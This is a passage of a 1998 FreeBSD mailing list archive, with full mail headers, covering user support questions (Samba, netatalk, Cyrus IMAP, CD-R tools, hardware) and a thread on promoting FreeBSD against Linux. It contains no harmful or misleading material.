"unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:22:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA14963 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:22:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA14948 for ; Thu, 9 Apr 1998 14:22:36 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id OAA05215; Thu, 9 Apr 1998 14:04:17 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd005213; Thu Apr 9 21:04:15 1998 Date: Thu, 9 Apr 1998 13:59:14 -0700 (PDT) From: Julian Elischer To: Matt White cc: freebsd-questions@FreeBSD.ORG Subject: Re: Samba and NetaTalk Snafu? In-Reply-To: <199804091211.IAA01174@newton.bunnynet.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG you say "very few patches"... how about the mandatory appletalk patches in the 2.2.5 ERRATA.TXT file from the ftp site? also.. sounds like your smbd or nmbd is doing a name lookup on something external to your site.. check your config file for bad hostnames or similar. On Thu, 9 Apr 1998, Matt White wrote: > I have had a weird problem for the past few months since moving my server > from Linux to FreeBSD. > > Clients can only connect via Samba when our PPP connection to the > Internet is up. If the PPP connection is not up when the clients attempt > to connect to the server the attempt will simply time out after a few > minutes with the connection never being made. However, as soon as I bring > up the PPP connection, clients can connect almost instantly without > problems. > > This was annoying, but we knew how to work around it so it hasn't been > much of a problem. > > However, now we're trying to allow Macintosh clients to connect to the > server as well. The server will appear in the Chooser (under both > AppleShare for file sharing and LaserWriter 8 for it's printer), but when > the clients attempt to connect once again the connection times out and > nothing is done. However, this time, the problem cannot be solved by > bringing up the PPP connection. > > At boot time the server "freezes" at the netatalk initialization stage, > and eventually times out. (After about 30 seconds.) When afpd tries to > fire up it dies with the following error: > > Apr 9 07:49:10 newton afpd[1094]: Can't register newton:AFPServer@* > > ...and when papd attempts to start up I get this error: > > Apr 9 08:02:10 newton papd[1108]: can't register newton:LaserWriter@* > > Some system information: > > - Pentium 166 > - 32MB RAM > - FreeBSD 2.2.5 from the November 1997 CD's (very few patches have been > installed) > - NE2000 NIC > > Our network is setup in the 10.3.2.0/24 range. TCP/IP will always work in > and out of the server. > > The server is doing PPP aliasing. (Which is where I think the problem may > ultimately lie.) > > Any suggestions, comments, jabs? =) > > -- > Matt White > s012mrw@discover.wright.edu > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:25:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA15580 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:25:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pc-algier-p.dgms.com (pc-algier-p.dgms.com [206.67.30.153]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA15445 for ; Thu, 9 Apr 1998 14:24:07 -0700 (PDT) (envelope-from gaa@dgms.com) Received: from dgms.com (localhost [127.0.0.1]) by pc-algier-p.dgms.com (8.8.8/8.8.8) with ESMTP id SAA00732 for ; Thu, 9 Apr 1998 18:23:38 -0400 (EDT) (envelope-from gaa@dgms.com) Message-ID: <352D4A6A.300D5F5A@dgms.com> Date: Thu, 09 Apr 1998 18:23:38 -0400 From: Gary Algier X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-RELEASE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Tools to make CDROMs? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have searched the archives, but I can't seem to find much information about making CDROMs on FreeBSD. The only things I can find are a few references to release 2.1.5 and 2.2 and 3 CD-R drives supported at that time. Things may have changed since then. Also, I heard that there are tools available originaly for Linux that have been ported to FreeBSD, but a search of neither the FreeBSD archives nor the Linux archives turned up anything here. So, a few questions: What tools are used? What CD-R drives are supported? What FSs are supported (Rockridge,Joliet,HFS)? What hardware should I have to support this (CPU speed, etc.)? -- Gary Algier, WB2FWZ gary.algier@srtc.com +1 609 608 2758 DGM&S Telecom, 1025 Briggs Rd, Mt. Laurel, NJ 08054 Fax:+1 609 866 8850 Paul Petzoldt on the renaming of Mount Washington: "I Call it the New England Booby Trap. We see Ph.D.'s from private schools taking kids up there in shorts. People die like flies up there!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:26:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA16098 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:26:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA16084; Thu, 9 Apr 1998 14:26:52 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.8.8/8.8.5) with ESMTP id OAA00915; Thu, 9 Apr 1998 14:24:18 -0700 (PDT) Message-Id: <199804092124.OAA00915@dingo.cdrom.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: "David Shanes" cc: hackers@FreeBSD.ORG, "Brett Glass" , freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Thu, 09 Apr 1998 14:04:11 PDT." <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 09 Apr 1998 14:24:18 -0700 From: Mike Smith Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Here is Tim O'Reilly's response. ... > >BTW, the main focus was on internet software, not on > >operating systems. Of course, operating systems are the foundation on which internet software is built. And the promotional material for the "summit" made that much pretty clear in its placement of the word "Linux". If Tim would like an introduction to Jordan, may I suggest he gets a reference to me from Greg Lehey, and then I'll introduce him to Jordan. Of course, Jordan's not quite the jackbooted dictator(*) that Linus is, and other members of the FreeBSD effort have strong ideas of their own. (*) This is humour, for those of you that missed it. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:41:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA18495 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:41:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA18429; Thu, 9 Apr 1998 14:41:34 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id PAA04541; Thu, 9 Apr 1998 15:40:50 -0600 (MDT) Message-Id: <199804092140.PAA04541@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 09 Apr 1998 15:40:47 -0600 To: Mike Smith , "David Shanes" From: Brett Glass Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG In-Reply-To: <199804092124.OAA00915@dingo.cdrom.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 02:24 PM 4/9/98 -0700, Mike Smith wrote: >Of course, operating systems are the foundation on which internet >software is built. And the promotional material for the "summit" made >that much pretty clear in its placement of the word "Linux". Indeed! In any event, it's good that folks are responding. As an industry and trend watcher, I have a compelling sense that the next few months will represent an "inflection point" -- that is, a period during which a major change in attitude and direction will be felt in the computer industry. Freely redistributable operating systems will suddenly acquire serious credibility and will no longer be able to be ignored by the mainstream media nor by developers. However, as the rise of Microsoft has shown, most users will fail to investigate alternatives and will adopt only those products with the largest installed base and the most press coverage. Thus, FreeBSD stands to suffer as much as to gain from the paradigm shift. If there is not an exceedingly strong effort to promote FreeBSD as superior to Linux, Linux -- which has a larger installed base -- will be catapulted to a dominant position while FreeBSD will see no noticeable increase in its user base or its popularity. FreeBSD needs to have a few "zealots" and "evangelists" -- just as Linux does -- to stubbornly insist that FreeBSD be included in every forum where Linux is discussed. It also needs some calmer proponents to take up the slack. Perhaps a new slot on the core team -- "Chief Evangelist" -- is in order. --Brett Glass To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:45:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA19727 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:45:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ha1.rdc1.sdca.home.com (siteadm@ha1.rdc1.sdca.home.com [24.0.3.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA19584 for ; Thu, 9 Apr 1998 14:45:08 -0700 (PDT) (envelope-from vilorman@home.com) Received: from meister ([24.0.186.99]) by ha1.rdc1.sdca.home.com (Netscape Mail Server v2.02) with SMTP id AAA16081 for ; Thu, 9 Apr 1998 14:45:02 -0700 Message-ID: <000701bd6400$b5c4c0b0$0464a8c0@meister.escnd1.sdca.home.com> From: "Brian D. McGrew" To: Subject: Question Date: Thu, 9 Apr 1998 14:44:44 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD63C6.08F832C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD63C6.08F832C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Question ... For support. I just install FreeBSD v2.2.6-RELEASE on a new system. When I boot up, = I'm getting a "PANIC! Cannot mount root". What does this mean, and how do we correct it? Brian D. McGrew brian@soundlink.net ------=_NextPart_000_0004_01BD63C6.08F832C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Question ... For = support.
 
I just install FreeBSD = v2.2.6-RELEASE on a new=20 system.  When I boot up, I'm getting a "PANIC! Cannot mount=20 root".
 
What does this mean, and how do we = correct=20 it?
 
Brian D. McGrew
brian@soundlink.net
<= /BODY> ------=_NextPart_000_0004_01BD63C6.08F832C0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 15:05:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA21734 for freebsd-questions-outgoing; Thu, 9 Apr 1998 15:05:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dove.peace.com.my (peace.com.my [202.184.153.15]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA21728 for ; Thu, 9 Apr 1998 15:05:31 -0700 (PDT) (envelope-from panda@peace.com.my) Received: from lovebox (love.com.my [202.184.153.17]) by dove.peace.com.my (8.8.5/8.8.5) with SMTP id FAA21768 for ; Fri, 10 Apr 1998 05:23:43 +0800 (SGT) Date: Fri, 10 Apr 1998 05:23:43 +0800 (SGT) Message-Id: <3.0.32.19980410054556.00e35120@peace.com.my> X-Sender: panda@peace.com.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: questions@FreeBSD.ORG From: chas Subject: Cyrus-imap can't create mailboxes : permissions ???? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My apologies for troubling you all yet again. After over a day spent hitting my head against this one, I have to ask "has anyone else had troubles installing cyrus on fbsd" ? I've installed the port for cyrus 1.5.2 and tested it by telneting to the imap port as well as with imtest. These tests passed successfully. imapd seems to be working fine and configuration was done as per the cyrus distribution manuals. I can log in with the admin tool (cyradm) perfectly but when I try to create the mailboxes, I get the following error : "command failed: Permission denied" which I figure must be due to file/directory permissions. [ cyradm session ] # /usr/local/bin/cyradm xxxx.com.my xxxx.com.my userid: cyrus xxxx.com.my password: xxxx.com.my> cm user.chas command failed: Permission denied However, the configuration seems to be as per the book : [ # more /etc/imapd.conf ] configdirectory: /var/imap partition-default: /var/spool/imap admins: cyrus chas root srvtab: /var/imap/srvtab [ # ls -al /var/imap ] drwxr-x--- 7 cyrus cyrus 512 Apr 10 02:56 . drwxr-xr-x 21 root wheel 512 Apr 9 11:30 .. -rw------- 1 cyrus cyrus 0 Apr 10 02:56 delivered.db drwxr-xr-x 2 cyrus cyrus 512 Apr 8 14:36 log -rw-r--r-- 1 cyrus cyrus 0 Apr 8 14:36 mailboxes drwxr-xr-x 2 cyrus cyrus 512 Apr 8 14:36 msg drwxr-xr-x 2 cyrus cyrus 512 Apr 9 14:24 proc drwxr-xr-x 2 cyrus cyrus 512 Apr 8 14:36 quota drwxr-xr-x 2 cyrus cyrus 512 Apr 8 14:36 user [ # ls -al /var/spool ] # ls -al /var/spool/ drwxr-xr-x 9 bin bin 512 Apr 8 14:37 . drwxr-xr-x 21 root wheel 512 Apr 9 11:30 .. drwxr-xr-x 2 cyrus cyrus 512 Apr 8 14:37 imap drwxrwxr-x 2 uucp dialer 512 Apr 10 04:57 lock drwxr-xr-x 2 bin daemon 512 Oct 21 22:13 lpd drwxr-xr-x 2 root daemon 512 Apr 10 04:42 mqueue drwxr-xr-x 3 bin daemon 512 Feb 9 12:42 output drwxrwxr-x 7 uucp uucp 512 Feb 9 12:42 uucp drwxrwxrwx 2 uucp uucp 512 Oct 21 22:13 uucppublic The user cyrus does belong to the cyrus group. The only thing that I can think of is perhaps due to tcl. Since I don't have X installed, Tcl/Tk have always been troublesome to install (I always need to use the tcl packages as opposed to the ports) and the cyrus port installation gave one warning message : "/usr/ports/lang/tcl81 non-existant -- @pkgdep registration incomplete." Nevertheless it succeeded in creating the cyradm tool (which is all the tcl libraries were required for) and cyradm seems to work. If anyone has any ideas, I would be most grateful, Thank you very much, chas I've searched the archives on FBSD/dejanews/linux/imap.org and 4 different FAQs, as well as read the manual (repeatedly) but still no joy - this must be something quite obvious I am missing because everybody else seems to have no problems installing cyrus. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 15:07:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA22023 for freebsd-questions-outgoing; Thu, 9 Apr 1998 15:07:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.htp.net (root@mail.htp.net [206.112.34.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA21990 for ; Thu, 9 Apr 1998 15:07:37 -0700 (PDT) (envelope-from andyt@htp.net) Received: from htp.net (user-45111.longisland.com [206.112.45.111]) by mail.htp.net (8.8.8/8.8.8) with SMTP id SAA29808 for ; Thu, 9 Apr 1998 18:07:17 -0400 (EDT) Message-Id: <3.0.5.32.19980409061549.00827b30@mail.htp.net> X-Sender: andyt@mail.htp.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Thu, 09 Apr 1998 06:15:49 -0400 To: freebsd-questions@FreeBSD.ORG From: andyt Subject: new install problem Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have installed freebsd 2.2.5 from cd on a 486-66 computer. The motherboard is a 486-pvt ? it supports an optional ps/2 mouse . I am currently using a serial mouse. At startup Freebsd 2.2.5 recongizes a ps/2 mouse and I can't get the serial mouse to work. I had the same problem with bsdi 2.1 but was unable to resolve it. Any help would be appreciated Andy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 15:23:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA23623 for freebsd-questions-outgoing; Thu, 9 Apr 1998 15:23:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA23590; Thu, 9 Apr 1998 15:22:40 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id RAA02226; Thu, 9 Apr 1998 17:21:28 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804092221.RAA02226@dyson.iquest.net> Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804092140.PAA04541@lariat.lariat.org> from Brett Glass at "Apr 9, 98 03:40:47 pm" To: brett@lariat.org (Brett Glass) Date: Thu, 9 Apr 1998 17:21:28 -0500 (EST) Cc: mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > As an industry and trend watcher, I have a compelling sense that the > next few months will represent an "inflection point" -- that is, a > period during which a major change in attitude and direction will be > felt in the computer industry. Freely redistributable operating systems > will suddenly acquire serious credibility and will no longer be able to > be ignored by the mainstream media nor by developers. However, as the > rise of Microsoft has shown, most users will fail to investigate > alternatives and will adopt only those products with the largest installed > base and the most press coverage. Thus, FreeBSD stands to suffer as much > as to gain from the paradigm shift. > I agree especially with your last statement. > > If there is not an exceedingly strong effort to promote FreeBSD as superior > to Linux, Linux -- which has a larger installed base -- will be catapulted > to a dominant position while FreeBSD will see no noticeable increase in > its user base or its popularity. FreeBSD needs to have a few "zealots" and > "evangelists" -- just as Linux does -- to stubbornly insist that > FreeBSD be included in every forum where Linux is discussed. It also needs > some calmer proponents to take up the slack. Perhaps a new slot on the > core team -- "Chief Evangelist" -- is in order. > The problem with FreeBSD, is that people working on FreeBSD are generally older, and find evangelism to be painful. Also, people using FreeBSD are busy using it, as opposed to worshipping it. How do we (really) deal with this? John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 15:23:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA23646 for freebsd-questions-outgoing; Thu, 9 Apr 1998 15:23:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA23615; Thu, 9 Apr 1998 15:23:02 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id RAA02232; Thu, 9 Apr 1998 17:22:46 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804092222.RAA02232@dyson.iquest.net> Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804092124.OAA00915@dingo.cdrom.com> from Mike Smith at "Apr 9, 98 02:24:18 pm" To: mike@smith.net.au (Mike Smith) Date: Thu, 9 Apr 1998 17:22:46 -0500 (EST) Cc: dshanes@personalogic.com, hackers@FreeBSD.ORG, brett@lariat.org, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Here is Tim O'Reilly's response. > ... > > >BTW, the main focus was on internet software, not on > > >operating systems. > > Of course, operating systems are the foundation on which internet > software is built. And the promotional material for the "summit" made > that much pretty clear in its placement of the word "Linux". > > If Tim would like an introduction to Jordan, may I suggest he gets a > reference to me from Greg Lehey, and then I'll introduce him to Jordan. > Of course, Jordan's not quite the jackbooted dictator(*) that Linus is, > and other members of the FreeBSD effort have strong ideas of their own. > > (*) This is humour, for those of you that missed it. > They are still in the popular uprising phase, and aren't seeing the error of their ways yet. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 15:31:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA26068 for freebsd-questions-outgoing; Thu, 9 Apr 1998 15:31:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rocksalt.mui.net ([207.12.13.235]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA26020 for ; Thu, 9 Apr 1998 15:31:01 -0700 (PDT) (envelope-from ken@mui.net) From: ken@mui.net Received: from lihing.mui.net (lihing.mui.net [207.12.13.237]) by rocksalt.mui.net (8.8.8/8.8.7) with SMTP id MAA04112 for ; Thu, 9 Apr 1998 12:30:52 -1000 (HST) (envelope-from ken@mui.net) Message-Id: <199804092230.MAA04112@rocksalt.mui.net> Comments: Authenticated sender is To: freebsd-questions@FreeBSD.ORG Date: Thu, 9 Apr 1998 12:29:20 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Interne In-reply-to: <199804092140.PAA04541@lariat.lariat.org> References: <199804092124.OAA00915@dingo.cdrom.com> X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > If there is not an exceedingly strong effort to promote FreeBSD as superior > to Linux, Linux -- which has a larger installed base -- will be catapulted > to a dominant position while FreeBSD will see no noticeable increase in > its user base or its popularity. FreeBSD needs to have a few "zealots" and > "evangelists" -- just as Linux does -- to stubbornly insist that Being one that came from slackware, then later redhat, I supposed I should provide some kind of input. There was no real reason for me to try FreeBSD. It had no "claim to fame" so to speak. Linux does have a kind of claim to fame. Basically, linux has been promoted as "free unix". They have a presence at trade shows. It's been promoted as the OS via grass roots. A way of learning unix without having to spend money. Slackware at the time was the linux with lots of capabilities. Someone from the dos world could get into it fairly easily. My switch to redhat came about when I discovered that RPMs made upgrades easy, as well as adding new packages made life easy. You wanted something? simple, didn't have to know anything, just add the rpm. Everything was put in its proper place, never a worry about what went where. Of course everything started to blow up with the last release of redhat -- I think it was ver 5.0 My switch to FreeBSD ONLY came about b/c a colleage suggested it. Even when he suggested it, it meant nothing to me. I did a little homework, and there was one thing that convinced me to try it. That was when I received a newsletter with testimonials from cdrom.com and yahoo.com that showed them running their sites using FreeBSD. It showed how they tried lots of unix variants, and decided that this platform was easy and stable to work on. It convinced me to TRY it. Once I got it, a few things I noticed. Linux support is awesome in many ways. If you have a question, simply go to the irc. There's tons of people always there, always helpful. That's one major difference. There's very little presence on the FreeBSD side (on the irc). Newsgroup support via linux is also pretty good. FreeBSD doesn't seem to have much there. That means, that FreeBSD doesn't have 2 very visible means of showing the world who they are. It's not a criticism, just an observation. Doug and the others have been very helpful, please don't misunderstand me. It's made the difference in my getting comfortable. I'd suggest however, a few things. 1- make the FAQ and HANDBOOK more easily accessible from the front page. It probably should probably be put nearer to the top of the page rather than the bottom of the page. 2- the FAQ and HANDBOOK look very similar in terms of the table of contents. Perhaps having it seem very different may be a thought. Merge on one side or the other topics that are similar. Perhaps change the focus a little so that it's easy on the user to figure out which side is what they want. 3- "search" isn't so obvious to the new user. Perhaps it may be helpful to put it with "documentation". Esp if people are trying to figure out what's what. Search usually on most sites are to find topic interests. Search on FreeBSD is more useful in finding documentation on "how do I" stuff. 4- put something in the initial page that gives the message "want to know something about freebsd, look no further." b/c most pages on the net aren't information intended, but rather sales intended, people may not know that it is the difinitive source of info. Most pages are more related to "wanna buy it?". 5- make it more apparent the freebsd-questions is where they want to be. It's not really clear that it's the best place to be, b/c most mailing lists have the "general questions" place to be total newbies without much meat. It's not the case here. I think the problem is the culture out there. It's not the same as what tone FreeBSD is trying to set. 6- Linux is starting to be written in lots of books. There's no link to FreeBSD. No logical step for someone. If they have DOS, then it's logical to get win31. if win31, then win95. If linux, then redhat. perhaps if redhat, then FreeBSD . Greg Lehey's book is a good start. It references FreeBSD specifically. There needs to be more to get popular. O'Reilly would be a good place to try to drum up support, perhaps. 7- Perhaps links to lots of pages on various topics might be good. I'll end my thoughts here. don't want to waste too much bandwidth. ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 15:43:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA27692 for freebsd-questions-outgoing; Thu, 9 Apr 1998 15:43:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from enigami.com (enigami.com [208.140.182.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA27600 for ; Thu, 9 Apr 1998 15:43:32 -0700 (PDT) (envelope-from ckempf@enigami.com) Received: from [208.140.182.45] (symphony.enigami.com [208.140.182.45]) by enigami.com (8.8.7/8.8.7) with ESMTP id SAA28123 for ; Thu, 9 Apr 1998 18:42:55 -0400 (EDT) X-Sender: ckempfm@enigami.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 9 Apr 1998 18:23:26 -0400 To: freebsd-questions@FreeBSD.ORG From: Cory Kempf Subject: Sound on DK440LX? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone have sound working on a DK440LX motherboard? If so, how did you get it to work? I have tried both the SB (sound blaster) and the CSS (crystal) devices, but neither seems to work. At least they do not seem to be found on startup. FWIW, I am running a slightly old current. Thanks, +C -- Thinking of purchasing RAM from the Chip Merchant? Please read this first: Cory Kempf Macintosh / Unix Consulting & Software Development ckempf@enigami.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 16:04:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29839 for freebsd-questions-outgoing; Thu, 9 Apr 1998 16:04:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from osibisa.cl.msu.edu (osibisa.cl.msu.edu [35.8.1.245]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id QAA29823 for ; Thu, 9 Apr 1998 16:04:37 -0700 (PDT) (envelope-from ikhala@osibisa.cl.msu.edu) Received: by osibisa.cl.msu.edu (SMI-8.6/MSU-2.20) id UAA03612; Thu, 9 Apr 1998 20:05:21 -0400 Date: Thu, 9 Apr 1998 20:05:21 -0400 From: original man Message-Id: <199804100005.UAA03612@osibisa.cl.msu.edu> To: freebsd-questions@FreeBSD.ORG Subject: Linux on the npr's All Things Considered X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Did anyone catch the piece on National Public Radio's All Things Considered about Linux. If you you have real audio you can get the interview at this URL http://www.npr.org/programs/atc/archives/1998/current.html Not sure how long it'll be there as they update their current.html everyday. Here's a short synopsis Linux OS -- Windows is the dominant operating system that makes computers do what they do when you tell them to. But there's another operating system that's free -- the creation of a Finnish programmer who put it out on the world wide web and invited any and all to improve it. The resulting "committee-written" system is finding favor with more and more computer-savvy users worldwide. And it's free. NPR's Dan Charles reports on Linux's founder and how his creation is faring. (8:15) It was interesting to say the least i'khala To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 16:43:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA03860 for freebsd-questions-outgoing; Thu, 9 Apr 1998 16:43:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from skyserv.med.osd.mil (skyserv.med.osd.mil [199.209.8.144]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id QAA03850 for ; Thu, 9 Apr 1998 16:43:42 -0700 (PDT) (envelope-from rpotts@med.osd.mil) Received: from 161.14.168.22 (ae1970.med.osd.mil [161.14.168.22]) by skyserv.med.osd.mil (8.6.8.1/SCA-6.6) with SMTP id TAA00254 for ; Thu, 9 